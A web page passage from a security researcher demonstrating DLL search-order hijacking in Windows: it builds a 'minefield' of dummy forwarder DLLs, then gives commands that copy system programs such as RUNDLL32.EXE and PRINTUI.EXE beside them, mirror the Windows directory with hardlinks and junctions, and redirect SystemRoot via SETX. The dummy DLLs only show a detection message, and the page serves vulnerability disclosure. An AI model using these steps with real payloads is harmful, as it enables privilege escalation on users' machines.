 C:\Program Files\Microsoft Visual Studio 10.0\VC\Bin\1033\clui.dll: Version 16.00.40219.1

nm4D83.tmp
nm4D83.tmp(109) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
nm4D83.tmp(110) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
nm4D83.tmp(111) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
nm4D83.tmp(252) : warning C4201: nonstandard extension used : nameless struct/union
nm4D83.tmp(613) : warning C4090: 'function' : different 'const' qualifiers
nm4D83.tmp(624) : warning C4090: 'function' : different 'const' qualifiers
nm4D83.tmp(816) : warning C4090: 'function' : different 'const' qualifiers
	RC.EXE /DUNICODE /FoDLLDUMMY.RES /L 0 /N /R /V nm4D91.tmp
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
Copyright (C) Microsoft Corporation.  All rights reserved.

Using codepage 1252 as default
Creating DLLDUMMY.RES
RC: RCPP -CP 1252 -f .\RCa07820 -g \RDa07820 -DRC_INVOKED -D_WIN32 -pc\:/ -E -I. -I .\ -I . -I C:\Program Files\Microsoft Visual Studio 10.0\VC\Include -I C:\Program Files\Microsoft SDKs\Windows\v7.1\Include -D UNICODE
C:\Program Files\Microsoft Visual Studio 10.0\VC\Include\string.h(54) : warning RC4011: identifier truncated to '_CRT_SECURE_CPP_OVERLOAD_STANDA'
C:\Program Files\Microsoft Visual Studio 10.0\VC\Include\string.h(76) : warning RC4011: identifier truncated to '_CRT_SECURE_CPP_OVERLOAD_SECURE'

nm4D91.tmp.
Writing MESSAGETABLE:1, lang:0x7,       size 1932.
Writing MESSAGETABLE:1, lang:0x9,       size 1732...
Writing ICON:1, lang:0x0,       size 9640
Writing ICON:2, lang:0x0,       size 4264
Writing ICON:3, lang:0x0,       size 1128
Writing GROUP_ICON:1,   lang:0x0,       size 48.
Writing 24:1,   lang:0x0,       size 1249.
Writing VERSION:1,      lang:0x0,       size 2336
Writing STRING:1,       lang:0x7,       size 470
Writing STRING:1,       lang:0x9,       size 376
	CVTRES.EXE /BREPRO /NOLOGO /OUT:DLLDUMMY.CVT /READONLY DLLDUMMY.RES
CVTRES : warning CVT4001: machine type not specified; assumed X86
	LINK.EXE /LINK /ALLOWBIND:NO /BREPRO /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /LARGEADDRESSAWARE /NOCOFFGRPINFO /NODEFAULTLIB /NOLOGO /NXCOMPAT /OPT:REF /OSVERSION:5.1 /OUT:DLLDUMMY.DLL /RELEASE /SUBSYSTEM:WINDOWS /SWAPRUN:CD,NET /TEST /VERSION:1.0 DLLDUMMY.OBJ DLLDUMMY.CVT ADVAPI32.LIB KERNEL32.LIB USER32.LIB
LINK : file alignment: 512, section alignment: 4096
LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
	RUNDLL32.EXE ".\DLLDUMMY.DLL",* Vulnerability and Exploit Detector
	SIGNTOOL.EXE Sign /A /D "Vulnerability and Exploit Detector" /DU "https://skanthak.hier-im-netz.de/minesweeper.html" /T "http://timestamp.digicert.com/" /V DLLDUMMY.DLL
The following certificate was selected:
    Issued to: Stefan Kanthak
    Issued by: WEB.DE TrustCenter E-Mail Certification Authority
    Expires:   15.12.2018 02:16:19
    SHA1 hash: 8C5B7521404177AC54131302066BB069102E830E


Attempting to sign: DLLDUMMY.DLL
Successfully signed and timestamped: DLLDUMMY.DLL

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0
	Call DLLDUMMY.CMD
accessibilitycpl
…
wmiutils

Demonstration

Don’t forget to ask the MSRC after you’ve done these short demonstrations why their companies’ developers still ignore all the guidance provided for example by their own blog post Load Library Safely, the MSDN article Dynamic-Link Library Security, the Security Advisories 2269637 and 2533623, plus the MSKB article 2389418, play foul and put their customers at risk!

Example 1

Perform the following 3 simple steps to test a single system program shipped with Windows in the minefield.
  1. Call the PrintUIEntry function of PrintUI.dll:

    RUNDLL32.EXE PRINTUI.DLL,PrintUIEntry /?
    Note: for details and reference see the MSKB article 189105 and the TechNet article Rundll32 printui.dll,PrintUIEntry.
  2. Call the PrintUIEntry function of PrintUI.dll through the forwarder DLL PRINTUI.DLL to test its proper function:

    RUNDLL32.EXE "%CD%\PRINTUI.DLL",PrintUIEntry /?
  3. Copy RunDLL32.exe into the minefield, then use it to call the PrintUIEntry function of PrintUI.dll located in Windows’ system directory:

    COPY "%SystemRoot%\System32\RUNDLL32.EXE"
    .\RUNDLL32.EXE "%SystemRoot%\System32\PRINTUI.DLL",PrintUIEntry /?
    Note: enjoy the fireworks!

Example 2

To test another system program shipped with Windows, copy PrintUI.exe into the minefield and execute it there:
COPY "%SystemRoot%\System32\PRINTUI.EXE"
.\PRINTUI.EXE
Note: enjoy the fireworks, now performed with administrative privileges and access rights!

Example 3

Perform the following 3 simple steps to build and execute a minimal Windows application that opens the CWD in the shell, i.e. Windows Explorer, in the minefield.
  1. Create the text file EXEDUMMY.C with the following content in the directory where you built the minefield:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define _WIN32_WINNT	0x0500
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wWinMainCRTStartup(VOID)
    {
    	HRESULT	hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    
    	if (hr == S_OK)
    		hr = ShellExecuteW(NULL, NULL, L".", NULL, NULL, SW_SHOWNORMAL);
    
    	CoUninitialize();
    	ExitProcess(hr);
    }
    Note: the Win32 functions CoInitializeEx(), CoUninitialize(), ExitProcess() and ShellExecute() are provided by Kernel32.dll, OLE32.dll and Shell32.dll, which are Known DLLs. The application itself and all its (static) load-time dependencies can therefore assumed to be safe.
  2. Compile the object file EXEDUMMY.OBJ from the source file EXEDUMMY.C created in step 1., then link the application EXEDUMMY.EXE from the object file:

    CL.EXE /Zl /W4 /Ox /GAFy /c /Brepro EXEDUMMY.C
    LINK.EXE /BREPRO /DYNAMICBASE /ENTRY:wWinMainCRTStartup /NOCOFFGRPINFO /NODEFAULTLIB /NXCOMPAT /OPT:REF /RELEASE /SUBSYSTEM:WINDOWS EXEDUMMY.OBJ KERNEL32.LIB OLE32.LIB SHELL32.LIB
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    EXEDUMMY.C
    EXEDUMMY.C(13) : warning C4047: '=' : 'HRESULT' differs in levels of indirection from 'HINSTANCE'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
  3. Execute the application EXEDUMMY.EXE per double-click and enjoy the fireworks again!

Full-scale Demonstration

Perform the following 11 (plus 1 optional) steps to experience the full capability of the minefield.
  1. Download the makefile DLLDUMMY.MAK and the icon DLLDUMMY.ICO into your Temp directory %TMP%\:

    BITSADMIN.EXE /TRANSFER MineSweeper /DOWNLOAD /PRIORITY FOREGROUND https://skanthak.hier-im-netz.de/download/DLLDUMMY.MAK "%TMP%\DLLDUMMY.MAK" https://skanthak.hier-im-netz.de/download/DLLDUMMY.ICO "%TMP%\DLLDUMMY.ICO"
  2. Create a new directory with an arbitrary name, for example MineSweeper\, in the root directory of the Windows drive:

    MKDIR "%SystemDrive%\MineSweeper"
  3. Create the subdirectory %SystemDrive%\MineSweeper\System32\ in the empty directory created in step 2., then copy the makefile DLLDUMMY.MAK and the icon DLLDUMMY.ICO downloaded in step 1. into the new subdirectory:

    MKDIR "%SystemDrive%\MineSweeper\System32"
    COPY "%TMP%\DLLDUMMY.MAK" "%SystemDrive%\MineSweeper\System32"
    COPY "%TMP%\DLLDUMMY.ICO" "%SystemDrive%\MineSweeper\System32"
            1 file(s) copied.
            1 file(s) copied.
  4. Start the 32-bit build environment for 32-bit targets in the subdirectory %SystemDrive%\MineSweeper\System32\ created in step 3., then build the minefield of 32-bit forwarder DLLs in this subdirectory and clean up:

    NMAKE.EXE /R /F DLLDUMMY.MAK all clean
    ERASE DLLDUMMY.*
  5. On a 64-bit installation, rename the subdirectory %SystemDrive%\MineSweeper\System32\ created in step 3. to %SystemDrive%\MineSweeper\SysWoW64\, then create the subdirectory %SystemDrive%\MineSweeper\System32\ and copy the makefile DLLDUMMY.MAK plus the icon DLLDUMMY.ICO downloaded in step 1. into the new subdirectory:

    MOVE "%SystemDrive%\MineSweeper\System32" SysWoW64
    MKDIR "%SystemDrive%\MineSweeper\System32"
    COPY "%TMP%\DLLDUMMY.MAK" "%SystemDrive%\MineSweeper\System32"
    COPY "%TMP%\DLLDUMMY.ICO" "%SystemDrive%\MineSweeper\System32"
            1 file(s) copied.
            1 file(s) copied.
  6. On a 64-bit installation, start the 64-bit build environment for 64-bit targets in the subdirectory %SystemDrive%\MineSweeper\System32\ created in step 5., then build a minefield of 64-bit forwarder DLLs in this subdirectory and clean up:

    NMAKE.EXE /R /F DLLDUMMY.MAK all clean
    ERASE DLLDUMMY.*
  7. Copy all programs %SystemRoot%\*.exe into the subdirectory %SystemDrive%\MineSweeper\System32\:

    COPY "%SystemRoot%\*.exe" "%SystemDrive%\MineSweeper\System32"
           13 file(s) copied.
  8. On a 64-bit installation, create hardlinks of copy all files %SystemRoot%\SysWoW64\* which are missing in the subdirectory %SystemDrive%\MineSweeper\SysWoW64\, and create junctions to all subdirectories %SystemRoot%\SysWoW64\* in the subdirectory %SystemDrive%\MineSweeper\SysWoW64\:

    FOR %? IN ("%SystemRoot%\SysWoW64\*") DO @IF NOT EXIST "%SystemDrive%\MineSweeper\SysWoW64\%~nx?" MKLINK /H "%SystemDrive%\MineSweeper\SysWoW64\%~nx?" "%~?" 2>NUL: || COPY "%~?" "%SystemDrive%\MineSweeper\SysWoW64\%~nx?"
    FOR /D %? IN ("%SystemRoot%\SysWoW64\*") DO @MKLINK /J "%SystemDrive%\MineSweeper\SysWoW64\%~nx?" "%~?"
            1 file(s) copied.
    …
            1 file(s) copied.
    Junction created for C:\MineSweeper\SysWoW64\… <<===>> C:\Windows\SysWoW64\…
    …
    Junction created for C:\MineSweeper\SysWoW64\… <<===>> C:\Windows\SysWoW64\…
  9. Create hardlinks of Copy all files %SystemRoot%\System32\* which are missing in the subdirectory %SystemDrive%\MineSweeper\System32\, and create junctions to all subdirectories %SystemRoot%\System32\* in the subdirectory %SystemDrive%\MineSweeper\System32\:

    FOR %? IN ("%SystemRoot%\System32\*") DO @IF NOT EXIST "%SystemDrive%\MineSweeper\System32\%~nx?" MKLINK /H "%SystemDrive%\MineSweeper\System32\%~nx?" "%~?" 2>NUL: || COPY "%~?" "%SystemDrive%\MineSweeper\System32\%~nx?"
    FOR /D %? IN ("%SystemRoot%\System32\*") DO @MKLINK /J "%SystemDrive%\MineSweeper\System32\%~nx?" "%~?"
            1 file(s) copied.
    …
            1 file(s) copied.
    Junction created for C:\MineSweeper\System32\… <<===>> C:\Windows\System32\…
    …
    Junction created for C:\MineSweeper\SysWoW64\… <<===>> C:\Windows\SysWoW64\…
  10. Create hardlinks of Copy all files %SystemRoot%\* which are missing in the directory %SystemDrive%\MineSweeper\, and create junctions to all subdirectories %SystemRoot%\* which are missing in the directory %SystemDrive%\MineSweeper\:

    FOR %? IN ("%SystemRoot%\*") DO @IF NOT EXIST "%SystemDrive%\MineSweeper\%~nx?" MKLINK /H "%SystemDrive%\MineSweeper\%~nx?" "%~?" 2>NUL: || COPY "%~?" "%SystemDrive%\MineSweeper\%~nx?"
    FOR /D %? IN ("%SystemRoot%\*") DO @IF NOT EXIST "%SystemDrive%\MineSweeper\%~nx?" MKLINK /J "%SystemDrive%\MineSweeper\%~nx?" "%~?"
            1 file(s) copied.
    …
            1 file(s) copied.
    Junction created for C:\MineSweeper\… <<===>> C:\Windows\…
    …
    Junction created for C:\MineSweeper\… <<===>> C:\Windows\…
  11. Start arbitrary programs, especially those copied from the subdirectories %SystemRoot%\System32\ and %SystemRoot%\SysWoW64\ plus the directory %SystemRoot%\ into the subdirectories %SystemDrive%\MineSweeper\System32\ and %SystemDrive%\MineSweeper\SysWoW64\ plus the directory %SystemDrive%\MineSweeper\, those registered in the Start Menu and those which request elevation, perform arbitrary actions like …, and notice which programs or actions yield the message box shown above!

  12. Optionally set the user environment variable SystemRoot to the value %SystemDrive%\MineSweeper and repeat the previous step 11.:

    SETX.EXE SystemRoot "%SystemDrive%\MineSweeper"

Contact and Feedback

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2024 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>